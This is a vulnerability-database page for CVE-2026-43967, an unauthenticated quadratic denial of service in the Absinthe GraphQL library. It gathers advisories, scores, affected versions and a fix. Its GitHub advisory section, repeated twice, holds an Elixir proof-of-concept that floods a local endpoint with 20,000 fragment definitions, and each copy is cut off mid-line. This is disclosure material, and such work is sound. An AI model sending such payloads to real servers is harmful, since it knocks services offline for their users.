CVE-2026-43967
Quadratic fragment-name uniqueness check causes denial of service in absinthe
Inefficient Algorithmic Complexity vulnerability in absinthe-graphql absinthe allows unauthenticated denial of service via quadratic fragment-name uniqueness validation.
'Elixir.Absinthe.Phase.Document.Validation.UniqueFragmentNames':run/2 iterates over all fragments and for each one calls duplicate?/2, which evaluates Enum.count(fragments, &(&1.name == name)) — a full linear scan of the fragment list. The result is O(N²) comparisons per document, where N is the number of fragment definitions supplied by the caller.
Because input.fragments is built directly from the GraphQL query body, N is fully attacker-controlled. A minimum-size fragment definition is roughly 16 bytes, so a ~1 MB document carries ~60,000 fragments and forces ~3.6 × 10⁹ comparisons inside this single validation phase. No authentication, schema knowledge, or special configuration is required.
This issue affects absinthe: from 1.2.0 before 1.10.2.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.7
Quadratic fragment-name uniqueness check causes denial of service in absinthe
Inefficient Algorithmic Complexity vulnerability in absinthe-graphql absinthe allows unauthenticated denial of service via quadratic fragment-name uniqueness validation.
'Elixir.Absinthe.Phase.Document.Validation.UniqueFragmentNames':run/2 iterates over all fragments and for each one calls duplicate?/2, which evaluates Enum.count(fragments, &(&1.name == name)) — a full linear scan of the fragment list. The result is O(N²) comparisons per document, where N is the number of fragment definitions supplied by the caller.
Because input.fragments is built directly from the GraphQL query body, N is fully attacker-controlled. A minimum-size fragment definition is roughly 16 bytes, so a ~1 MB document carries ~60,000 fragments and forces ~3.6 × 10⁹ comparisons inside this single validation phase. No authentication, schema knowledge, or special configuration is required.
This issue affects absinthe: from 1.2.0 before 1.10.2.
- Record
CVE-2026-43967- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-407
- Updated
- 2026-11-02
EUVDEUVD-2026-28800
8.7
Inefficient Algorithmic Complexity vulnerability in absinthe-graphql absinthe allows unauthenticated denial of service via quadratic fragment-name uniqueness validation.
'Elixir.Absinthe.Phase.Document.Validation.UniqueFragmentNames':run/2 iterates over all fragments and for each one calls duplicate?/2, which evaluates Enum.count(fragments, &(&1.name == name)) — a full linear scan of the fragment list. The result is O(N²) comparisons per document, where N is the number of fragment definitions supplied by the caller.
Because input.fragments is built directly from the GraphQL query body, N is fully attacker-controlled. A minimum-size fragment definition is roughly 16 bytes, so a ~1 MB document carries ~60,000 fragments and forces ~3.6 × 10⁹ comparisons inside this single validation phase. No authentication, schema knowledge, or special configuration is required.
This issue affects absinthe: from 1.2.0 before 1.10.2.
- Record
EUVD-2026-28800- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-9mhv-8h52-q7q2
8.7
Absinthe: Quadratic fragment-name uniqueness check
Summary
An unauthenticated attacker can stall an Absinthe-backed GraphQL endpoint by submitting a query that contains many fragment definitions. The fragment-name uniqueness validation phase is O(N²) in the number of fragments, so a single modestly-sized request burns seconds of CPU per worker, and sustained traffic exhausts the worker pool (denial of service).
Introduced like with https://github.com/absinthe-graphql/absinthe/commit/0b46e3bcc06c0d3797bacd64761b908a84646c1d#diff-e540120c6a98cc1013be110d08e9d029511b9aabd26ad5f7f643c36834caac14
Details
Absinthe.Phase.Document.Validation.UniqueFragmentNames (lib/absinthe/phase/document/validation/unique_fragment_names.ex:14-40) walks every fragment in input.fragments via run/2, calling process/2 on each one. process/2 then calls duplicate?/2, which evaluates Enum.count(fragments, fn f -> f.name == name end) — a full linear scan of the fragment list — for every individual fragment. The result is N · N name comparisons per document.
input.fragments is built directly from the GraphQL query text the caller sends at the head of the pipeline, so N is attacker-controlled. A minimum-size fragment definition (fragment a on T{f}) is roughly 16 bytes, so a ~1 MB document carries ~60 000 fragments and forces ~3.6 × 10⁹ comparisons inside this one phase. Phoenix's default 8 MB body limit allows substantially larger blow-ups if operators have not lowered it. Nothing in this module caps N.
The fix is to aggregate names once per call rather than re-scanning per fragment, e.g.:
dups =
for {name, k} <- Enum.frequencies_by(input.fragments, & &1.name),
k > 1,
into: MapSet.new(),
do: name
and then check MapSet.member?(dups, fragment.name) inside process/2. That collapses the phase to O(N).
PoC
A standalone script that builds a GraphQL document with a large number of minimal fragment definitions, feeds it through Absinthe's pipeline, and times the UniqueFragmentNames phase is attached at the end of this report. Running it shows the validation time growing quadratically with the fragment count.
Impact
Algorithmic complexity / denial-of-service. Any service that exposes an Absinthe GraphQL endpoint to untrusted callers is affected: a single unauthenticated POST containing many fragment definitions pins a worker process for seconds, and modest sustained traffic exhausts the request-handling pool. No authentication, schema knowledge, or special configuration is required — only the ability to send a GraphQL query large enough to contain many fragments, which is permitted by Phoenix's default body-size limit.
Scripts and Logs
# Verifies: Quadratic fragment-name uniqueness check
Mix.install([
{:absinthe, "~> 1.7"},
{:absinthe_plug, "~> 1.5"},
{:bandit, "~> 1.0"},
{:plug, "~> 1.15"},
{:jason, "~> 1.4"},
{:req, "~> 0.5"}
])
defmodule VictimSchema do
use Absinthe.Schema
object :thing do
field :f, :string
end
query do
field :thing, :thing do
resolve(fn _, _ -> {:ok, %{f: "x"}} end)
end
end
end
defmodule VictimRouter do
use Plug.Router
plug :match
plug Plug.Parsers,
parsers: [:json],
pass: ["*/*"],
json_decoder: Jason
plug :dispatch
forward "/graphql",
to: Absinthe.Plug,
init_opts: [schema: VictimSchema]
match _ do
send_resp(conn, 404, "nope")
end
end
port = 47817
{:ok, _} = Bandit.start_link(plug: VictimRouter, port: port)
n = 20_000
fragments =
1..n
|> Enum.map(fn i -> "fragment f#{i} on Thing{f}" end)
|> Enum.join(" ")
query = "{ thing { f } } " <> fragments
IO.puts(
"Sending GraphQL document with #{n} fragment definitions (~#{div(byte_size(query), 1024)} KB) to 127.0.0.1:#{port}"
)
{us, response} =
:timer.tc(fn ->
Req.post!("http://127.0.0.1:#{port}/graphql",
json: %{query: query},
receive_timeout: 600_000,
retry: false
)
end)
ms = div(us, 1000)
IO.puts("HTTP…
- Record
GHSA-9mhv-8h52-q7q2- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-407
- Updated
- 2026-11-02
NVD
8.7
Inefficient Algorithmic Complexity vulnerability in absinthe-graphql absinthe allows unauthenticated denial of service via quadratic fragment-name uniqueness validation.
'Elixir.Absinthe.Phase.Document.Validation.UniqueFragmentNames':run/2 iterates over all fragments and for each one calls duplicate?/2, which evaluates Enum.count(fragments, &(&1.name == name)) — a full linear scan of the fragment list. The result is O(N²) comparisons per document, where N is the number of fragment definitions supplied by the caller.
Because input.fragments is built directly from the GraphQL query body, N is fully attacker-controlled. A minimum-size fragment definition is roughly 16 bytes, so a ~1 MB document carries ~60,000 fragments and forces ~3.6 × 10⁹ comparisons inside this single validation phase. No authentication, schema knowledge, or special configuration is required.
This issue affects absinthe: from 1.2.0 before 1.10.2.
- Record
CVE-2026-43967- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407
- Updated
- 2026-11-02
OSV
8.7
Quadratic fragment-name uniqueness check causes denial of service in absinthe
Inefficient Algorithmic Complexity vulnerability in absinthe-graphql absinthe allows unauthenticated denial of service via quadratic fragment-name uniqueness validation.
'Elixir.Absinthe.Phase.Document.Validation.UniqueFragmentNames':run/2 iterates over all fragments and for each one calls duplicate?/2, which evaluates Enum.count(fragments, &(&1.name == name)) — a full linear scan of the fragment list. The result is O(N²) comparisons per document, where N is the number of fragment definitions supplied by the caller.
Because input.fragments is built directly from the GraphQL query body, N is fully attacker-controlled. A minimum-size fragment definition is roughly 16 bytes, so a ~1 MB document carries ~60,000 fragments and forces ~3.6 × 10⁹ comparisons inside this single validation phase. No authentication, schema knowledge, or special configuration is required.
This issue affects absinthe: from 1.2.0 before 1.10.2.
- Record
CVE-2026-43967- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-407
- Updated
- 2026-11-02
OSVEEF-CVE-2026-43967
8.7
Quadratic fragment-name uniqueness check causes denial of service in absinthe
Summary
Inefficient Algorithmic Complexity vulnerability in absinthe-graphql absinthe allows unauthenticated denial of service via quadratic fragment-name uniqueness validation.
'Elixir.Absinthe.Phase.Document.Validation.UniqueFragmentNames':run/2 iterates over all fragments and for each one calls duplicate?/2, which evaluates Enum.count(fragments, &(&1.name == name)) — a full linear scan of the fragment list. The result is O(N²) comparisons per document, where N is the number of fragment definitions supplied by the caller.
Because input.fragments is built directly from the GraphQL query body, N is fully attacker-controlled. A minimum-size fragment definition is roughly 16 bytes, so a ~1 MB document carries ~60,000 fragments and forces ~3.6 × 10⁹ comparisons inside this single validation phase. No authentication, schema knowledge, or special configuration is required.
This issue affects absinthe: from 1.2.0 before 1.10.2.
- Record
EEF-CVE-2026-43967- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-407
- Updated
- 2026-11-02
OSVGHSA-9mhv-8h52-q7q2
8.7
Absinthe: Quadratic fragment-name uniqueness check
Summary
An unauthenticated attacker can stall an Absinthe-backed GraphQL endpoint by submitting a query that contains many fragment definitions. The fragment-name uniqueness validation phase is O(N²) in the number of fragments, so a single modestly-sized request burns seconds of CPU per worker, and sustained traffic exhausts the worker pool (denial of service).
Introduced like with https://github.com/absinthe-graphql/absinthe/commit/0b46e3bcc06c0d3797bacd64761b908a84646c1d#diff-e540120c6a98cc1013be110d08e9d029511b9aabd26ad5f7f643c36834caac14
Details
Absinthe.Phase.Document.Validation.UniqueFragmentNames (lib/absinthe/phase/document/validation/unique_fragment_names.ex:14-40) walks every fragment in input.fragments via run/2, calling process/2 on each one. process/2 then calls duplicate?/2, which evaluates Enum.count(fragments, fn f -> f.name == name end) — a full linear scan of the fragment list — for every individual fragment. The result is N · N name comparisons per document.
input.fragments is built directly from the GraphQL query text the caller sends at the head of the pipeline, so N is attacker-controlled. A minimum-size fragment definition (fragment a on T{f}) is roughly 16 bytes, so a ~1 MB document carries ~60 000 fragments and forces ~3.6 × 10⁹ comparisons inside this one phase. Phoenix's default 8 MB body limit allows substantially larger blow-ups if operators have not lowered it. Nothing in this module caps N.
The fix is to aggregate names once per call rather than re-scanning per fragment, e.g.:
dups =
for {name, k} <- Enum.frequencies_by(input.fragments, & &1.name),
k > 1,
into: MapSet.new(),
do: name
and then check MapSet.member?(dups, fragment.name) inside process/2. That collapses the phase to O(N).
PoC
A standalone script that builds a GraphQL document with a large number of minimal fragment definitions, feeds it through Absinthe's pipeline, and times the UniqueFragmentNames phase is attached at the end of this report. Running it shows the validation time growing quadratically with the fragment count.
Impact
Algorithmic complexity / denial-of-service. Any service that exposes an Absinthe GraphQL endpoint to untrusted callers is affected: a single unauthenticated POST containing many fragment definitions pins a worker process for seconds, and modest sustained traffic exhausts the request-handling pool. No authentication, schema knowledge, or special configuration is required — only the ability to send a GraphQL query large enough to contain many fragments, which is permitted by Phoenix's default body-size limit.
Scripts and Logs
# Verifies: Quadratic fragment-name uniqueness check
Mix.install([
{:absinthe, "~> 1.7"},
{:absinthe_plug, "~> 1.5"},
{:bandit, "~> 1.0"},
{:plug, "~> 1.15"},
{:jason, "~> 1.4"},
{:req, "~> 0.5"}
])
defmodule VictimSchema do
use Absinthe.Schema
object :thing do
field :f, :string
end
query do
field :thing, :thing do
resolve(fn _, _ -> {:ok, %{f: "x"}} end)
end
end
end
defmodule VictimRouter do
use Plug.Router
plug :match
plug Plug.Parsers,
parsers: [:json],
pass: ["*/*"],
json_decoder: Jason
plug :dispatch
forward "/graphql",
to: Absinthe.Plug,
init_opts: [schema: VictimSchema]
match _ do
send_resp(conn, 404, "nope")
end
end
port = 47817
{:ok, _} = Bandit.start_link(plug: VictimRouter, port: port)
n = 20_000
fragments =
1..n
|> Enum.map(fn i -> "fragment f#{i} on Thing{f}" end)
|> Enum.join(" ")
query = "{ thing { f } } " <> fragments
IO.puts(
"Sending GraphQL document with #{n} fragment definitions (~#{div(byte_size(query), 1024)} KB) to 127.0.0.1:#{port}"
)
{us, response} =
:timer.tc(fn ->
Req.post!("http://127.0.0.1:#{port}/graphql",
json: %{query: query},
receive_timeout: 600_000,
retry: false
)
end)
ms = div(us, 1000)
IO.puts("HTTP…
- Record
GHSA-9mhv-8h52-q7q2- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-407
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
absintheHex |
1.2.0 up to 1.10.2 | 1.10.2 |
absintheHex |
1.2.0 up to 1.10.2, plus listed versions 1.10.01.10.11.2.11.2.21.2.3 Show 45 moreShow less1.2.41.2.51.2.61.3.01.3.0-beta.01.3.0-beta.11.3.0-beta.21.3.0-rc.01.3.11.3.21.4.01.4.0-beta.11.4.0-beta.21.4.0-beta.31.4.0-beta.41.4.0-beta.51.4.0-rc.01.4.0-rc.11.4.0-rc.21.4.0-rc.31.4.11.4.101.4.111.4.121.4.131.4.141.4.151.4.161.4.21.4.31.4.41.4.51.4.61.4.71.4.81.4.91.5.01.5.0-alpha.01.5.0-alpha.11.5.0-alpha.21.5.0-alpha.31.5.0-alpha.41.5.0-beta.01.5.0-beta.11.5.0-beta.2 |
1.10.2 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-43967 is a high vulnerability (CVSS 8.7) in Absinthe-graphql Absinthe, published May 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.62%, the 50th percentile. Fixed in absinthe 1.10.2.
References
github.com/absinthe-graphql/absinthe/security/advisories/GHSA-9mhv-8h52-q7q2
cna.erlef.org/cves/CVE-2026-43967.html
osv.dev/vulnerability/EEF-CVE-2026-43967
github.com/absinthe-graphql/absinthe/commit/223600c520493dcaf95080af552c413099f92c9d
nvd.nist.gov/vuln/detail/CVE-2026-43967
github.com/advisories/GHSA-9mhv-8h52-q7q2
Left out here: 37 versions and the rest of 2 source descriptions. The JSON record has them.